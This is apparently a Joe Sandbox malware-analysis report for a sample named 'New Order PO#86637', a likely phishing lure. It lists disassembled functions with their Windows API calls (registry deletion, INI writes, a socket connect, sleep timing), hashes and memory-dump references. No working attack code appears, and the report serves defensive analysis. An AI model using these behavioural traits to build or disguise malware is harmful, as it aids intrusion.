Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Interlocked$DecrementIncrement$Sleep
String ID:
API String ID: 327565842-0
Opcode ID: a05157aca8d30d558f467c32ec822d8ac937f36e77973d55cccdaa836f381863
Instruction ID: e00c67d4cb89bf1d5311357fb713975cbca1e0cfcee7190b0451066ade77f289
Opcode Fuzzy Hash: a05157aca8d30d558f467c32ec822d8ac937f36e77973d55cccdaa836f381863
Instruction Fuzzy Hash: CC412571A002055FEB10DF65CD84AEE7774EF45304B10852EF609A7351E738EE46CB99

Function 0045C3C1 Relevance: 7.6, APIs: 5, Instructions: 118COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C44F
GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C477
WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C4C3
WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C4E7
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C4F6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: a5613791a7b7745f301c2db32c82459f4eb77f00fff265897707edd8741bbf57
Instruction ID: 1eb5009190fa999c36a74edd43b7bd9b51adbc8f8691a9c3f5840d50e9073e8b
Opcode Fuzzy Hash: a5613791a7b7745f301c2db32c82459f4eb77f00fff265897707edd8741bbf57
Instruction Fuzzy Hash: D1413075A00209BFDB10EFA1DC85FAAB7A8BF44305F10855EF9049B292DA79EE44CB54

Function 00441C7B Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00441CA9
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00441CDD
RegCloseKey.ADVAPI32(?), ref: 00441CFE
RegDeleteKeyW.ADVAPI32(?,?), ref: 00441D40
RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00441D6E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Enum$CloseDeleteOpen
String ID:
API String ID: 2095303065-0
Opcode ID: d2ce045a3c5b7a9f88abc7d1956311aab30076c6419bcb4202e5cbde6d6cad15
Instruction ID: 7ca4c7ada97503ad9332fce322fe5d5fc03c2789ff93db080e75f28165cdf273
Opcode Fuzzy Hash: d2ce045a3c5b7a9f88abc7d1956311aab30076c6419bcb4202e5cbde6d6cad15
Instruction Fuzzy Hash: 69317CB2940108BAEB10DBD4DC85FFEB77CEB49304F04456EF605A7241D774AA858BA8

Function 00436A0B Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00436A24

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: RectWindow
String ID:
API String ID: 861336768-0
Opcode ID: d215e6d8dffd18d1ffc2da0b67cce38d66530bec6329dda4924901d83a0034d3
Instruction ID: 0a42da3bb0701689e96ef39581243ed39d97d4ba46bd7cd8c1f057aae640e0d3
Opcode Fuzzy Hash: d215e6d8dffd18d1ffc2da0b67cce38d66530bec6329dda4924901d83a0034d3
Instruction Fuzzy Hash: E531EA7160021EAFDB00DF68D988AAE77A5EB49324F11C62AFD24E7380D774EC11CB90

Function 00449555 Relevance: 7.6, APIs: 5, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00449598

Part of subcall function 00430626: _wcspbrk.LIBCMT ref: 00430636

SendMessageW.USER32(?,00001074,?,?), ref: 004495F8
_wcslen.LIBCMT ref: 0044960D
_wcslen.LIBCMT ref: 0044961A
SendMessageW.USER32(?,00001074,?,?), ref: 0044964E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$_wcslen$_wcspbrk
String ID:
API String ID: 1856069659-0
Opcode ID: eb2345d78995945919f1fca8909d98cd083db74a4e9b61e28a7ea2bcab757230
Instruction ID: 683be220b4a5e9d86ccbf412c3bd2f13dbb60120779f28b1c577ab6eeef24407
Opcode Fuzzy Hash: eb2345d78995945919f1fca8909d98cd083db74a4e9b61e28a7ea2bcab757230
Instruction Fuzzy Hash: 77318F71A00218ABEB20DF59DC80BDFB374FF94314F10466AFA0497280E7B59D958B94

Function 004478AC Relevance: 7.6, APIs: 5, Instructions: 96windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004478E2
TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478FC
DefDlgProcW.USER32(?,0000007B,?,?), ref: 0044791D
GetCursorPos.USER32(00000000), ref: 0044796A
TrackPopupMenuEx.USER32(009E64F0,00000000,00000000,?,?,00000000), ref: 00447991

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CursorMenuPopupTrack$Proc
String ID:
API String ID: 1300944170-0
Opcode ID: 3a0c1b1e924032964aae082f89503a6e76aba0c647238f1368234d9f75c94910
Instruction ID: 8079d3ea29232e2d8a780d7c6517a0c600664366e77620ab1eef72d1e193e80f
Opcode Fuzzy Hash: 3a0c1b1e924032964aae082f89503a6e76aba0c647238f1368234d9f75c94910
Instruction Fuzzy Hash: EF31CF75600108AFE724CF59DC88FABB768EB89310F20455AF94587391C775AC53CBA8

Function 004479A0 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004479CC
GetCursorPos.USER32(?), ref: 004479D7
ScreenToClient.USER32(?,?), ref: 004479F3
WindowFromPoint.USER32(?,?), ref: 00447A34
DefDlgProcW.USER32(?,00000020,?,?), ref: 00447AAD

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Client$CursorFromPointProcRectScreenWindow
String ID:
API String ID: 1822080540-0
Opcode ID: 0f9a8e9b3e4e036e66763aee309a2391e7a5810cceb8633c4940fa55a949c157
Instruction ID: a7e7621e8492875af53c289f1ad187460d50aec5ad556b3834d9a5cb4abdf121
Opcode Fuzzy Hash: 0f9a8e9b3e4e036e66763aee309a2391e7a5810cceb8633c4940fa55a949c157
Instruction Fuzzy Hash: B831A2741082029FE710DF69D884D7FB7A4FB89314F144A1EF850D7291D774E946CBA6

Function 00447BF1 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00447C5D
ScreenToClient.USER32(?,?), ref: 00447C7B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C8E
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447CD5
EndPaint.USER32(?,?), ref: 00447D13

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ClientPaintRectRectangleScreenViewportWindow
String ID:
API String ID: 659298297-0
Opcode ID: 9df24dda7700d3462e91b7be9c0077b8f1985bebde9900174ed076ebcab1caeb
Instruction ID: 3c0582d8bc81ba5dadaaf244cb1f1d3939805113443e317e1f98b5bdeebaec33
Opcode Fuzzy Hash: 9df24dda7700d3462e91b7be9c0077b8f1985bebde9900174ed076ebcab1caeb
Instruction Fuzzy Hash: C33161706043019FE310CF25D8C8F7B7BE8EB86724F144A6EF9A5872A1C774A845DB69

Function 004487EA Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

EnableWindow.USER32(?,00000000), ref: 00448B5C
EnableWindow.USER32(?,00000001), ref: 00448B72
ShowWindow.USER32(?,00000000), ref: 00448BE8
ShowWindow.USER32(?,00000004), ref: 00448BF4
EnableWindow.USER32(?,00000001), ref: 00448C09

Part of subcall function 00440D98: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00440DB8
Part of subcall function 00440D98: GetWindowLongW.USER32(?,000000F0), ref: 00440DFA
Part of subcall function 00440D98: GetWindowLongW.USER32(?,000000F0), ref: 00440E3A
Part of subcall function 00440D98: SendMessageW.USER32(009E1C00,000000F1,00000000,00000000), ref: 00440E6E
Part of subcall function 00440D98: SendMessageW.USER32(009E1C00,000000F1,00000001,00000000), ref: 00440E9A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$EnableMessageSend$LongShow
String ID:
API String ID: 142311417-0
Opcode ID: 426854c6b9cbeb660193a9c091743316caa306963ba13d8f93245475b3a006f2
Instruction ID: c941ec4e4e3d0536419715940b2668e48b64c275bb9f23e9dd6fd7b29375311a
Opcode Fuzzy Hash: 426854c6b9cbeb660193a9c091743316caa306963ba13d8f93245475b3a006f2
Instruction Fuzzy Hash: DE21F7B17443805BF7258E24CCC4BAFB7D0EF56345F08482EF98196391DBACA885C75A

Function 004550FC Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa96c7b92ceffa4878489be5d10f88277f639196488ca8149908940c9a32487
Instruction ID: af34b986bc09d21a6a739d25b45c5a22770885c200d938a8bd6fc5fff5094107
Opcode Fuzzy Hash: cfa96c7b92ceffa4878489be5d10f88277f639196488ca8149908940c9a32487
Instruction Fuzzy Hash: 5921AE75200600DBC710EF29E9D496B77B9EF49362B00466EFE5197392DB34EC09CB69

Function 00445870 Relevance: 7.6, APIs: 5, Instructions: 78windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00445879
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00445893
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 004458CD
_wcslen.LIBCMT ref: 004458FB
CharUpperBuffW.USER32(00000000,00000000), ref: 00445905

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
String ID:
API String ID: 3087257052-0
Opcode ID: f69ffadf962ece00da2d3b786a5ca76815724ee7e4437aac7967cccaf73e78c3
Instruction ID: ced771b0f23340e5f55e8fdbc4e1763ce6d97a07fd0b425722e47bce61cb145a
Opcode Fuzzy Hash: f69ffadf962ece00da2d3b786a5ca76815724ee7e4437aac7967cccaf73e78c3
Instruction Fuzzy Hash: F51136726009017BFB10AB25DC06F9FB78CAF65360F04403AF909D7241EB69ED5983A9

Function 004653C8 Relevance: 7.6, APIs: 5, Instructions: 72networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00465225: inet_addr.WSOCK32(?), ref: 00465249

socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 004653FE
WSAGetLastError.WSOCK32(00000000), ref: 0046540D
connect.WSOCK32(00000000,?,00000010), ref: 00465446
WSAGetLastError.WSOCK32(00000000), ref: 0046546D
closesocket.WSOCK32(00000000,00000000), ref: 00465481

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLast$closesocketconnectinet_addrsocket
String ID:
API String ID: 245547762-0
Opcode ID: 4a364c3b246f50765ea579ebeb5236c2c367babb38bf5793ee33ccca847a6907
Instruction ID: 0a95abeaf907522bb910ccff47ca5b8cdb65f95d12881c86cce1eb50970c9d0a
Opcode Fuzzy Hash: 4a364c3b246f50765ea579ebeb5236c2c367babb38bf5793ee33ccca847a6907
Instruction Fuzzy Hash: E921F032200510ABD310EF29DC49F6EB7E8EF44725F008A6FF844E72D1DBB4A8418B99

Function 0044719B Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004471D8
ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
SelectObject.GDI32(?,00000000), ref: 00447228
BeginPath.GDI32(?), ref: 0044723D
SelectObject.GDI32(?,00000000), ref: 00447266

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Object$Select$BeginCreateDeletePath
String ID:
API String ID: 2338827641-0
Opcode ID: 2b4904aa023ab9776d85036867689c5727337e5a2013c968bceed19ab76b7b02
Instruction ID: fd3aca4fc88a528095528039be3f852d236b7ebb9f74560e76bd8f11b15fbd2f
Opcode Fuzzy Hash: 2b4904aa023ab9776d85036867689c5727337e5a2013c968bceed19ab76b7b02
Instruction Fuzzy Hash: 92214F71905204AFEB10DF689D48A9E7FACFB16310F14466BF910D32A1DBB49C85CBAD

Function 00434582 Relevance: 7.6, APIs: 5, Instructions: 61sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00434598
QueryPerformanceCounter.KERNEL32(?), ref: 004345B5
Sleep.KERNEL32(00000000), ref: 004345D4
QueryPerformanceCounter.KERNEL32(?), ref: 004345DE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: e7bcee6603ab5961272028a34fb999977f673cbbb9fa03059816f244ade9b228
Instruction ID: a92d15520113c221d818f77e193bed66bb4dcccdbbd961c90b57f37ba003579f
Opcode Fuzzy Hash: e7bcee6603ab5961272028a34fb999977f673cbbb9fa03059816f244ade9b228
Instruction Fuzzy Hash: 37118232D0011DA7CF00EF99DD49AEEBB78FF99721F00456AEE4473240DA3465618BE9

Function 00460C01 Relevance: 7.5, APIs: 5, Instructions: 48windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00460C17
GetWindowTextW.USER32(00000000,?,00000100), ref: 00460C2E
MessageBeep.USER32(00000000), ref: 00460C46
KillTimer.USER32(?,0000040A), ref: 00460C68
EndDialog.USER32(?,00000001), ref: 00460C83

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 1f18e2cfcdf944224a2d79a82bd846e8569cbd7b4094970ae8d1428a0e6a4617
Instruction ID: 069ac2582a8c3c153a507cef710a9e07e91c6f457c78871e3a9641c65eda6ae6
Opcode Fuzzy Hash: 1f18e2cfcdf944224a2d79a82bd846e8569cbd7b4094970ae8d1428a0e6a4617
Instruction Fuzzy Hash: AB01DD315403086BE7349B54EE8DBDB737CFB14705F00465FB645921C0E7F4A9948B95

Function 004556A0 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 00455728
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$Icon
String ID:
API String ID: 4023252218-0
Opcode ID: 3835efce57e2eefc6c6d584a426a71e2dd3a2f260109f85cc330253665e7d223
Instruction ID: b4c4dbb9b59ba1bd7f08d964dfa6937d7ad9fb038e30cf105cf785d591c64ca0
Opcode Fuzzy Hash: 3835efce57e2eefc6c6d584a426a71e2dd3a2f260109f85cc330253665e7d223
Instruction Fuzzy Hash: D5014870301A01DBDB10EF65E9D8A2B77A8BF48762F10462AFD04D7352D739D849CBA9

Function 004555ED Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001101,00000000,?), ref: 004555FC
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
